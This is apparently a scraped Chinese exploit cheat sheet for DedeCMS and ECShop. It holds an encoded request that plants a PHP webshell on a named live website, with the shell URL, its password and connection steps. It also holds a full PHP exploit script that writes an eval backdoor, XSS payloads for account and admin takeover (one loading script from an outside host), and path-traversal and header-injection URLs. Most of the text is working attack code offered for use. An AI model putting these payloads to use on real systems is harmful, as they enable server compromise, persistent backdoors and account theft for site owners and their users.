http://www.189fy.com//plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96
接着訪問訪問http://www.189fy.com/plus/mytag_js.php?aid=9013
生成一句話木馬.
菜刀鏈接 http://www.189fy.com/plus/90sec.php 密碼 guige
菜刀成功鏈接之


後門
v5.7
@eval(file_get_contents('php://input'))

exp   -- php exp.php IP/dede7/  密碼: cmd
<?php 
$host=$argv[1];
$path=$argv[2];
$path=$path."plus/car.php";
$url=$path;
if(count($argv) < 3 ){
print_r('
Usage: php '.$argv[0].' host path
Example:
php '.$argv[0].' www.site.com /dede/
做者:舞林 http://t.qq.com/wulinlw
修改:小逸
');
exit;
}
$data='$a=${@phpinfo()};';
$buffer = POST($host,80,$url,$data,30);
preg_match("/allow_url_fopen/i", $buffer, $arr_suc);
$str="allow_url_fopen";
if($arr_suc[0]==$str) {
echo "Congratulations,target exist this bug.\n";
$data='$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};';
$buffer = POST($host,80,$url,$data,30);
echo "shell:http://$host$argv[2]plus/dst.php,pass:cmd.";
}
else {
echo "Sorry,target may not exist this bug.";
exit;
}
function POST($host,$port,$path,$data,$timeout, $cookie='') {
$buffer='';
$fp = fsockopen($host,$port,$errno,$errstr,$timeout);
if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); 
else {
fputs($fp, "POST $path HTTP/1.0\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($data)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data."\r\n\r\n");

while(!feof($fp)) 
{
$buffer .= fgets($fp,4096);
} 
fclose($fp);
} 
return $buffer;
} 
?>

全局變量覆蓋漏洞
/include/common.inc.php

ECShop

(1)

Date:2010-9
post發送Ajax修改我的資料,如修改郵箱爲可操做的郵箱,而後密碼找回帳號盜號

 
 

http://localhost/test/ecshop_gbk272/category.php?id=3&price_min=0&price_max=0&filter_attr=**.**.**.**"><script>
eval(String.fromCharCode(x=new XMLHttpRequest();
x.open("post","http://localhost/test/ecshop_gbk272/user.php");
x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
x.send("act=act_edit_profile&email=xxx@163.com");
))</script><"

 
 

(2)
Date:2010-9
Ecshop2.7.2持久型XSS(可得到管理員賬號)
密碼保護問題這一項,沒有使用正則過濾,在密碼保護問題裏輸入XSS,可是後臺查看會員資料是不顯示密碼保護問題的,因此這裏必需要網站後臺添加了新的 「會員註冊項」時,後臺查看資料就會顯示了,此處填入一段引入外部js的代碼:"><script src="http://www.***.com/test.js" type="text/javascript"></script>
外部test.js文件內容以下:
Ajax.call('privilege.php?act=update','id=1&user_name=heihei&email=10001@**.**.**.**','',"POST","JSON");



2
.x/3.x SQL注入/任意代碼執行漏洞
路徑遍歷
http://localhost/ECShop/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php

RCE
http://localhost/test/ecshop/affiche.php?act=js&type=3&from=xxx&ad_id=1&charset=GBK%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0A%0D%0AContent-Type:%20text/html%0D%0A%0D%0AContent-Length:%2035%0D%0A%0D%0A%3Chtml%3Exxx%3C/html%3E%0D%0A%0D%0A

DISCUZ

https://www.discuz.1314study.com/f/614.html
相關文章
相關標籤/搜索